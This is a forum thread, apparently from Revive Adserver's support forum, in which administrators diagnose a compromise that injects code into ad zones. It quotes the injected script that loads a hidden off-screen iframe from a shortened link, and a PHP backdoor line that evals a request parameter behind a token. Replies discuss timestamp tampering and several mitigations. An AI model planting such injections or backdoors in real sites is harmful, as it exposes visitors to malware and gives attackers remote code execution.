revive Asynchronous JS hacked

[Stefan]

Google AdWords has reported that malware/unwanted content is being distributed on our website.

It's created with JavaScript which is hidden (along with the CSS that hides the iframe) in the HTML for the the skyscraper ad on the right; that HTML is itself embedded in JSON that's loaded asynchronously. The offending code is just:

Code:

<style>
#ifr_ads_banners{
  width:1600px;height:800px;position:absolute;left:-9985px;
}
</style>
<script>
(function(d,e,g){
  g=d.createElement(e);
  g.src='//goo.gl/Cp8ciT';
  g.id='ifr_ads_banners';
  d.body.appendChild(g);
})(document,'iframe');
</script>

If you follow that goo.gl URL, it takes you to the bags site, and all subsequent badness comes from garbage that is itself embedded in there.

I found out that it is Revive's fault, because probably via Asynchronous JS the following code was inserted in the field "Always prepend the following HTML code to banners displayed by this zone". It's in the output from "www/delivery/asyncspc.php" which is JSON fetched asynchronously (via XMLHttpRequest) and returns:

{
    "revive-0-0": {
        "html": "<a href='https://rev.contractoruk.com/www/delivery/ck.php?oaparams=2__bannerid=3__zoneid=1__cb=35dbefdc15__oadest=https%3A%2F%2Fwww.contractoruk.com%2FClickTrack%2Fredirect.php%3Ftarget%3Dhttps%3A%2F%2Fwww.intouchaccounting.com%2Fjoinintouch%2F%26source%3Dforum%2Cleaderboard' target='_blank'><img src='https://rev.contractoruk.com/www/images/6461024dbdede6b423ea67fe31f9eacb.gif' width='728' height='90' alt='inTouch Accounting' title='inTouch Accounting' border='0' /></a><div id='beacon_35dbefdc15' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'><img src='https://rev.contractoruk.com/www/delivery/lg.php?bannerid=3&amp;campaignid=2&amp;zoneid=1&amp;loc=https%3A%2F%2Fwww.contractoruk.com%2Fforums%2F&amp;referer=https%3A%2F%2Fwww.contractoruk.com%2Fforums%2Fgeneral%2F121881-monday-links-bench-vol-ccclxxxviii.html&amp;cb=35dbefdc15' width='0' height='0' alt='' style='width: 0px; height: 0px;' /></div>",
        "width": "728",
        "height": "90",
        "iframeFriendly": false
    },
    "revive-0-1": {
        "html": "<style>#ifr_ads_banners{width:1600px;height:800px;position:absolute;left:-9985px;}</style><script>(function(d,e,g){g=d.createElement(e);g.src='//goo.gl/Cp8ciT';g.id='ifr_ads_banners';d.body.appendChild(g);})(document,'iframe');</script><a href='https://rev.contractoruk.com/www/delivery/ck.php?oaparams=2__bannerid=4__zoneid=2__cb=e21e133ee8__oadest=https%3A%2F%2Fwww.contractoruk.com%2FClickTrack%2Fredirect.php%3Ftarget%3Dhttps%3A%2F%2Fwww.intouchaccounting.com%2Fjoinintouch%2F%26source%3Dforum%2Cskyscraper' target='_blank'><img src='https://rev.contractoruk.com/www/images/7cb73f87f1f449519d2e2b8832fbd2ae.gif' width='160' height='600' alt='inTouch Accounting' title='inTouch Accounting' border='0' /></a><div id='beacon_e21e133ee8' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'><img src='https://rev.contractoruk.com/www/delivery/lg.php?bannerid=4&amp;campaignid=2&amp;zoneid=2&amp;loc=https%3A%2F%2Fwww.contractoruk.com%2Fforums%2F&amp;referer=https%3A%2F%2Fwww.contractoruk.com%2Fforums%2Fgeneral%2F121881-monday-links-bench-vol-ccclxxxviii.html&amp;cb=e21e133ee8' width='0' height='0' alt='' style='width: 0px; height: 0px;' /></div>",
        "width": "160",
        "height": "600",
        "iframeFriendly": false
    }
}

I could fix that by removing the checkbox "Prepend/Append even if no banner delivered" and the code in that field. But I have no idea how that could happend. Because the passwords are save. And if the hacker had hacked the password, they would change more than only this not?

I'm using Revive Adserver v4.1.3 and I've already seen if an update to 4.1.4 would help. But there are no security updates in the release notes https://github.com/revive-adserver/revive-adserver/blob/v4.1.4/RELEASE_NOTES.txt.

Thank you for any inputs.

[Ian]

https://forum.revive-adserver.com/topic/5226-mobile-ads-have-been-hijacked/

[Stefan]

Thank you.

So according to

is removing that line of code the solution? Strange thing is, that every file is from the feburary 2018 (when I did the update).

So if a file get modified then must changed the timestamp too?

[tvvpmi]

Yes. Timestamps has been changed as well. You can use linux commd "stat" to see the modification and change time stamps. Attacker is changing "modification time" to parent folder "modification time" so as not to raise suspicion

This code is inserted via a POST call to fc.php. To avoid to be reinfected you can change write permisions on "plugins/bannerTypeText/oxText/genericText.delivery.php".

Perhaps some revive developer can tell us, what is the function of fc.php (front controller) to decide if we can disable it or not.

[franciscomesa]

Same problem at one installation with ReviveAds 4.1.4.

First time the "hacker" only change one zone. I remove the prepend code and also disabled check box. But it returns. 
The second time it change the same.
The third time it change all zones. I update the database to varchar(0) and now it's fine. The file "genericText.delivery.php" have the line "if(isset($_REQUEST['oxText'])&&$_REQUEST['oxText']=='b0087003d2f3006f6623adf6c520462b'){@eval($_REQUEST['zoneId']);}". Removed.

Tried to check logs but cannt find how/where/when it's changing the set.

[TYWebmaster]

On 1/18/2019 at 10:37 AM, franciscomesa said:

Same problem at one installation with ReviveAds 4.1.4.

First time the "hacker" only change one zone. I remove the prepend code and also disabled check box. But it returns. 
The second time it change the same.
The third time it change all zones. I update the database to varchar(0) and now it's fine. The file "genericText.delivery.php" have the line "if(isset($_REQUEST['oxText'])&&$_REQUEST['oxText']=='b0087003d2f3006f6623adf6c520462b'){@eval($_REQUEST['zoneId']);}". Removed.

Tried to check logs but cannt find how/where/when it's changing the set.

Has any of this been resolved? How are they getting back into the DB and making changes. I had varchar(0) on append/prepend on all zones and today its been changed back and the code is back in the Zones.

[tvvpmi]

6 hours ago, TYWebmaster said:

Has any of this been resolved? How are they getting back into the DB and making changes. I had varchar(0) on append/prepend on all zones and today its been changed back and the code is back in the Zones.

If prepend/append zones are varchar(0), they can't insert code there for sure. Check if the code is inserted in prepend/append fields of the banners table. As I post before, if the injection is done using the same strategy, you can stop it making the file "plugins/bannerTypeText/oxText/genericText.delivery.php" read only. Another good measure is to disable PHP execution on delivery images folder.

[TYWebmaster]

4 hours ago, tvvpmi said:

If prepend/append zones are varchar(0), they can't insert code there for sure. Check if the code is inserted in prepend/append fields of the banners table. As I post before, if the injection is done using the same strategy, you can stop it making the file "plugins/bannerTypeText/oxText/genericText.delivery.php" read only. Another good measure is to disable PHP execution on delivery images folder.

If I make the file "plugins/bannerTypeText/oxText/genericText.delivery.php" read only then I get errors when I log in.

[tvvpmi]

5 minutes ago, TYWebmaster said:

If I make the file "plugins/bannerTypeText/oxText/genericText.delivery.php" read only then I get errors when I log in.

Which kind of errors? A message saying "File permission errors detected."?

[TYWebmaster]

4 minutes ago, tvvpmi said:

Which kind of errors? A message saying "File permission errors detected."?

Yes that may affect the delivery.

[nezirus]

Guys, for starters, limit access to admin parts of the revive, and more importantly, filter out POST requests from unknown IP addresses. If somebody is under attack and is able to collect access logs for POST request and payloads, that would be just great.